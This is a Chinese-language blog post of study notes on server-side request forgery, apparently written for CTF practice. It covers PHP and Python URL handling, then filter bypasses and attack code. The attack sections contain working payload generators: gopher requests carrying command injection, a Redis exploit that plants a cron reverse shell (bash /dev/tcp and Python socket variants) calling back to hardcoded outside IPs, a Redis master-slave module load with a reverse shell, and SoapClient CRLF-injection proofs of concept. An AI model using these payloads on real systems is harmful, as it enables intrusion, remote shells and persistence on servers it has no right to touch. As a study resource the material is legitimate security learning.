Toc
  1. PHP
    1. url处理
      1. parse_url
      2. filter_var
        1. 语法
        2. PHP 过滤器
    2. url请求
      1. file_get_contents
      2. fsockopen
      3. curl_exec
  2. Python
    1. url处理
      1. urlparse.urlparse
      2. urlparse.urlsplit
      3. urlparse.urljoin
    2. url请求
      1. urllib库
      2. request库
  3. 绕过
    1. 协议的过滤
      1. 利用302跳转
    2. 域名/地址的过滤
      1. IP进制转换
      2. URL解析绕过
        1. parse_url与libcurl等对curl的解析差异
        2. filter_var( )绕过
  4. 攻击方法
    1. 万能的gopher
      1. 构造GET
      2. 构造POST
      3. 打Redis
      4. FastCGI攻击
    2. SOAP
      1. 利用soap进行CRLF注入
      2. 通过soap日redis
      3. 利用soap进行post中的ssrf
Toc
0 results found
Rayi
SSRF小结
2020/11/24 学习笔记 ssrf

各种编程语言中有许多可以发起网络请求的函数,这些函数在某些情况下会导致ssrf

简单的对ssrf做个小总结

PHP

url处理

在进行请求前,系统往往会对url进行解析处理,提取出相关请求的url的信息,进行过滤

一个url一般的结构为

scheme://host/path?query#fragment

parse_url

<?php
$url = "http://www.baidu.com;abcd/abc/ab/1.php?id=1#abcde";
$parse = parse_url($url);
var_dump($parse);
# 以下为输出
array(5) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(18) "www.baidu.com;abcd"
  ["path"]=>
  string(13) "/abc/ab/1.php"
  ["query"]=>
  string(4) "id=1"
  ["fragment"]=>
  string(5) "abcde"
}

filter_var

用特定的过滤器过滤一个变量,如果成功,则返回被过滤的数据,失败则返回false

语法

filter_var(variable, filter, options)

参数描述
variable必需。规定要过滤的变量。
filter可选。规定要使用的过滤器的 ID。默认是 FILTER_SANITIZE_STRING。参见 完整的 PHP Filter 参考手册,查看可能的过滤器。过滤器 ID 可以是 ID 名称(比如 FILTER_VALIDATE_EMAIL)或 ID 号(比如 274)。
options可选。规定一个包含标志/选项的关联数组或者一个单一的标志/选项。检查每个过滤器可能的标志和选项。

PHP 过滤器

ID 名称描述
FILTER_CALLBACK调用用户自定义函数来过滤数据。
FILTER_SANITIZE_STRING去除标签,去除或编码特殊字符。
FILTER_SANITIZE_STRIPPED“string” 过滤器的别名。
FILTER_SANITIZE_ENCODEDURL-encode 字符串,去除或编码特殊字符。
FILTER_SANITIZE_SPECIAL_CHARSHTML 转义字符 ‘“<>& 以及 ASCII 值小于 32 的字符。
FILTER_SANITIZE_EMAIL删除所有字符,除了字母、数字以及 !#$%&’*+-/=?^_`{\}~@.[]
FILTER_SANITIZE_URL删除所有字符,除了字母、数字以及 $-_.+!*’(),{}\\^~[]`<>#%”;/?:@&=
FILTER_SANITIZE_NUMBER_INT删除所有字符,除了数字和 +-
FILTER_SANITIZE_NUMBER_FLOAT删除所有字符,除了数字、+- 以及 .,eE
FILTER_SANITIZE_MAGIC_QUOTES应用 addslashes()。
FILTER_UNSAFE_RAW不进行任何过滤,去除或编码特殊字符。
FILTER_VALIDATE_INT把值作为整数来验证。
FILTER_VALIDATE_BOOLEAN把值作为布尔选项来验证。如果是 “1”、”true”、”on” 和 “yes”,则返回 TRUE。如果是 “0”、”false”、”off”、”no” 和 “”,则返回 FALSE。否则返回 NULL。
FILTER_VALIDATE_FLOAT把值作为浮点数来验证。
FILTER_VALIDATE_REGEXP根据 regexp(一种兼容 Perl 的正则表达式)来验证值。
FILTER_VALIDATE_URL把值作为 URL 来验证。
FILTER_VALIDATE_EMAIL把值作为 e-mail 地址来验证。
FILTER_VALIDATE_IP把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围。

几个例子:

<?php
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL));
//FILTER_FLAG_PATH_REQUIRED是FILTER_VALIDATE_URL过滤器的其中一个标示,意思是要求url域名后面必须存在路径
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://example.com/path', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
?>
//以下是输出
string(15) "bob@example.com"
string(18) "http://example.com"
bool(false)
string(23) "http://example.com/path"
#-------验证是否为内网ip-------#
FILTER_VALIDATE_IP 过滤器把值作为 IP 进行验证。
可能的标志:
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值不是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。(比如127.0.0.1)该标志接受 IPV4 和 IPV6 值。   
<?php
$ip = "127.0.0.1";
$ip2 = '192.168.0.1';
var_dump(filter_var($ip, FILTER_VALIDATE_IP,FILTER_FLAG_NO_RES_RANGE));
var_dump(filter_var($ip2, FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE));
//以下是输出
bool(false)
bool(false)

url请求

php中常用的发起请求的函数有仨

file_get_contents

必须双on状态下才能使用

<?php
$homepage = file_get_contents('http://www.example.com/');
echo $homepage;
?>

fsockopen

打开一个网络连接或者一个Unix套接字连接,跟服务器建立tcp连接

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: www.example.com\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

curl_exec

<?php
// 创建新的 cURL 资源
$ch = curl_init();

// 设置 URL 和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取 URL 并把它传递给浏览器
curl_exec($ch);

// 关闭 cURL 资源,并且释放系统资源
curl_close($ch);
?>

Python

url处理

url的一般结构

scheme://netloc/path;parameters?query#fragment

urlparse.urlparse

将url分为6个部分,返回一个包含6个字符串项目的元组:协议、位置、路径、参数、查询、片段。

import urlparse
url_change = urlparse.urlparse('https://i.cnblogs.com/EditPosts.aspx?opt=1')
print url_change

输出结果为:

ParseResult(scheme='https', netloc='i.cnblogs.com', path='/EditPosts.aspx', params='', query='opt=1', fragment='')

其中 scheme 是协议 netloc 是域名服务器 path 相对路径 params是参数,query是查询的条件

host = parse.urlparse(url).hostname也是netloc

urlparse.urlsplit

和urlparse差不多,将url分为5部分,返回一个包含5个字符串项目的元组:协议、位置、路径、查询、片段。

import urlparse
url_change = urlparse.urlsplit('https://i.cnblogs.com/EditPosts.aspx?opt=1')
print url_change
SplitResult(scheme='https', netloc='i.cnblogs.com', path='/EditPosts.aspx', query='opt=1', fragment='')

其中 scheme 是协议 netloc 是域名服务器 path 相对路径 query是查询的条件

urlparse.urljoin

将相对的地址组合成一个url,对于输入没有限制,开头必须是http://,否则将不组合前面。

import urlparse
new_url = urlparse.urljoin('https://baidu.com/ssss/','88888')
print new_url

输出 https://baidu.com/ssss/88888

如果输入错误信息 如 new_url = urlparse.urljoin(‘122’,’88888’) 并不会将两者合并 输出‘88888’

最后一点 urlparse 这个模块在 python 3.0 中 已经改名为 urllib.parse

url请求

urllib库

#coding: utf-8
import urllib
url = 'http://127.0.0.1'
info = urllib.urlopen(url)
print(info)

前几年,存在urllib http头注入漏洞,借此可以实现对内网未授权仿问的redis服务器getshell

原理是HTTP协议解析host的时候可以接受百分号编码的值,解码,然后包含在HTTP数据流里面,但是没有进一步的验证或者编码,这就可以注入一个换行符。

就像:http://127.0.0.1%0d%0aset%20some%20bad%0d%0a:6379/执行redis命令

request库

绕过

协议的过滤

有时候会限制可以使用的协议为httphttps,这时候我们就需要特殊方法绕过限制

利用302跳转

默认情况下,curl不会跟踪302跳转,但CURLOPT_FOLLOWLOCATION为true时可以

file_get_contents只能GET访问url,默认支持302跳转

可以利用的协议如下:

  • http/https
  • dict
  • gopher

没有file

#302.php
#http://exmaple.com/ssrf.php?url=http://evil.com/302.php?schema=http&ip=127.0.0.1&port=80
<?php  
$schema = $_GET['schema'];
$ip     = $_GET['ip'];
$port   = $_GET['port'];
$query  = $_GET['query'];

echo "\n";
echo $schema . "://".$ip."/".$query;

if(empty($port)){  
    header("Location: $schema://$ip/$query");
} else {
    header("Location: $schema://$ip:$port/$query");
}

域名/地址的过滤

有时候开发者会把内网的ip用正则过滤掉,但是考虑不周的话就会造成绕过

IP进制转换

内网IP段
127.0.0.0/8127.0.0.0 ~ 127.255.255.255
192.168.0.0 /16192.168.0.0 ~ 192.168.255.255
10.0.0.0/810.0.0.0 ~ 10.255.255.255
172.16.0.0/12172.16.0.0 ~ 172.31.255.255

如192.168.0.1 可转换为

8 进制格式:0300.0250.0.1

16 进制格式:0xC0.0xA8.0.1

10 进制整数格式:3232235521

16 进制整数格式:0xC0A80001

还有一种特殊的省略模式,例如10.0.0.1这个 IP 可以写成10.1

转10进制整数IP略麻烦,可用脚本

ip = 192.168.0.1
int_ip = ''
i = ip.split('.')
for ii in i:
	t = str(bin(int(ii)))[2:].rjust(8,'0')
	int_ip += t
print str(int(int_ip,2))

URL解析绕过

URL语法:

<scheme>://<username>:<passwd>@<host>:<port>/<path>;<params>?<query>#<frag>
  1. 指向任意 ip 的域名xip.io, http://127.0.0.1.xip.io/
  2. http://www.baidu.com@127.0.0.1/或http://www.baidu.com#127.0.0.1/
  3. 短网址 http://dwz.cn/11SMa
  4. 句号绕过 127。0。0。1
  5. Enclosed alphanumerics绕过
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

parse_url与libcurl等对curl的解析差异

<?php 
$a = parse_url('http://u:p@127.0.0.1:80@baidu.com/flag.php'); 
var_dump($a);
#以下是输出
array(5) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(9) "baidu.com"
  ["user"]=>
  string(1) "u"
  ["pass"]=>
  string(14) "p@127.0.0.1:80"
  ["path"]=>
  string(9) "/flag.php"
}

parse_url解析状况如上,但是curl访问的却是127.0.0.1:80

filter_var( )绕过

filter_var — 使用特定的过滤器过滤一个变量

使用方法见上文

<?php
   echo "Argument: ".$argv[1]."n";
   // check if argument is a valid URL
   if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
      // parse URL
      $r = parse_url($argv[1]);
      print_r($r);
      // check if host ends with google.com
      if(preg_match('/google.com$/', $r['host'])) {
         // get page from URL
         exec('curl -v -s "'.$r['host'].'"', $a);
         print_r($a);
      } else {
         echo "Error: Host not allowed";
      }
   } else {
      echo "Error: Invalid URL";
   }
?>

filter_var对url进行check,parse_url获取url的host,对host进行正则匹配,判断是否以google.com结尾,是则curl访问

这个关键还是看curl能否访问

之前文章中可能是在PHP7.0.25 cURL 7.47.0的近似环境下,所以有以下bypass方法

  • 通过制定端口让google.com不被解析成主机名
    • 0://evil.com:80;google.com:80/
    • 0://evil.com:80,google.com:80/
  • 利用bash空变量,请求evil.com
    • 0://evil$google.com

在 PHP Version 7.1.19,cURL 7.54.0 环境下,大部分bybass就不管用了

但可以使用url=0://107.172.6.33:7788;baidu.com:80/达到请求任意ip,任意端口的目的,前提是代码中exec curl那行没有双引号

猜测7.45.0的curl应该是对port进行了检测

不过测试发现php 7.2.2,cURL 7.52.1环境下同样有问题

攻击方法

万能的gopher

gopher可以用来构造GETPOST请求

可以生成各种gopher的payload的工具Gopherus

https://github.com/tarunkant/Gopherus

构造GET

import urllib.parse
test =\
"""GET /index.php HTTP/1.1
Host: 127.0.0.1
"""  
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)

构造POST

注意,与构造GET不同,POST需要Content-TypeContent-Length

并且Content-Length需要根据POST数据长度不同而改变,否则将会报错

import urllib.parse
test =\
"""POST /tool.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

ip=;cat /flag
"""  
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)

#攻击时需要再一次URL编码
#gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2Ftool.php%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%253A%252010%250D%250A%250D%250Aip%253D%253Bwhoami

利用构造好的payload打内网时,记得URL编码。

打Redis

# -*-coding:utf-8
import urllib
    
protocol="gopher://"
ip=''
port='6379'
reverse_ip="47.100.120.123"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
#python shell
#cron="\n\n\n\n*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
     "set xxx {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd
if __name__=="__main__":
    for x in cmd:
        #print redis_format(x)
        payload += urllib.quote(redis_format(x))
    print payload
#主从复制写shell,详见redis篇
#/usr/bin/python3
import urllib.parse as u
url='http://121.36.199.21:10801/?url=http://aaa@127.0.0.1:5000@baidu.com/?url='
host = "/ HTTP/1.1\r\n*2\r\n$4\r\nAUTH\r\n$6\r\n123456\r\nslaveof 49.232.128.44 6667\r\nconfig set dbfilename exp.so\r\ntest:test\r\n"
host = "/ HTTP/1.1\r\nAUTH 123456\r\nslaveof 49.232.128.44 6667\r\nconfig set dbfilename exp.so\r\ntest:test\r\n"
# *2
# $4
# AUTH
# $6
# 123456
host2 = "/ HTTP/1.1\r\n*2\r\n$4\r\nAUTH\r\n$6\r\n123456\r\nslaveof no one\r\nmodule load ./exp.so\r\nconfig set dbfilename dump.rdb\r\nsystem.rev 49.232.128.44 1234\r\n"
# module load ./exp.so
#  slaveof no one
#  config set dbfilename dump.rdb
#  system.rev vpsip 4444
a = u.quote("http://127.0.0.1:6379" +u.quote(host))
print(a)
print(u.quote("http://127.0.0.1:6379" +u.quote(host2))+"%2500")

FastCGI攻击

条件

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

防止%00截断,cURL大于7.45.0

利用工具生成

image-20201122171118912

SOAP

那么我们如何利用一个反序列化,一个代码执行进行ssrf呢?

先了解下什么是soap服务

image_1d368hpc812j6vgt12nnomj15ai9.png-18.2kB

利用soap,我们可以发起http请求

如果开启了soap服务,soapclient类就是php的内置类

image_1d36c2pvtjn21por2trqvf1ffb20.png-35.3kB

这个类有两个参数

第一个参数控制是否为WSDL模式(WSDL是基于 XML 的用于描述 Web Services 以及如何访问 Web Services 的语言。

用什么语言跟我们没关系,但是如果是wsdl模式的话,其在进行序列化之前,就会对指定的url进行访问,这没办法进行ssrf

只有第一个参数为null时,才是非wsdl模式,在反序列化的时候会对options中的url进行远程soap请求。

于是可以利用以下代码进行构造

$target = "http://127.0.0.1/flag.php";
$b = new SoapClient(null,array('location' => $target,
                'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=这里填你的session_id\r\n",
                'uri' => "123"));

在调用soapclient类的__call方法时,会触发访问url

如何调用__call方法呢?只有在调用soapclient不存在的方法时才会触发。

这时候可以用到call_user_func

这个函数不仅仅能做到命令执行,还能调用类中的方法

格式是:call_user_func(array(类,方法))

于是exp就出来了

利用soap进行CRLF注入

CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

soap的options参数中还有一个选项为user_agent,运行我们自己设置User-Agent的值。

当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-Type为和Content-Length都在User-Agent之下,而控制这两个是利用CRLF发送post请求最关键的地方。

最后给出wupco师傅的生成任意POST报文的POC:

<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: xxxx=1234'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

通过CRLF注入,可以做到

通过soap日redis

先占个坑

<?php
$poc = "CONFIG SET dir /root/";
$target = "http://example.com:5555/";
$b = new SoapClient(null,array('location' => $target,'uri'=>'hello^^'.$poc.'^^hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa); 
echo urlencode($aaa);

//Test
$c = unserialize($aaa);
$c->notexists();

利用soap进行post中的ssrf

上面的题,我们只能控制url,即进行get的ssrf,万一某些题需要验证的参数在post中呢?

柠檬师傅的博客

利用CRLF把自带的头挤下去,自己构造一个

偷个柠檬师傅的图

<?php
$target = "http://example.com:5555/";
$post_string = 'data=abc';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);

img

本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!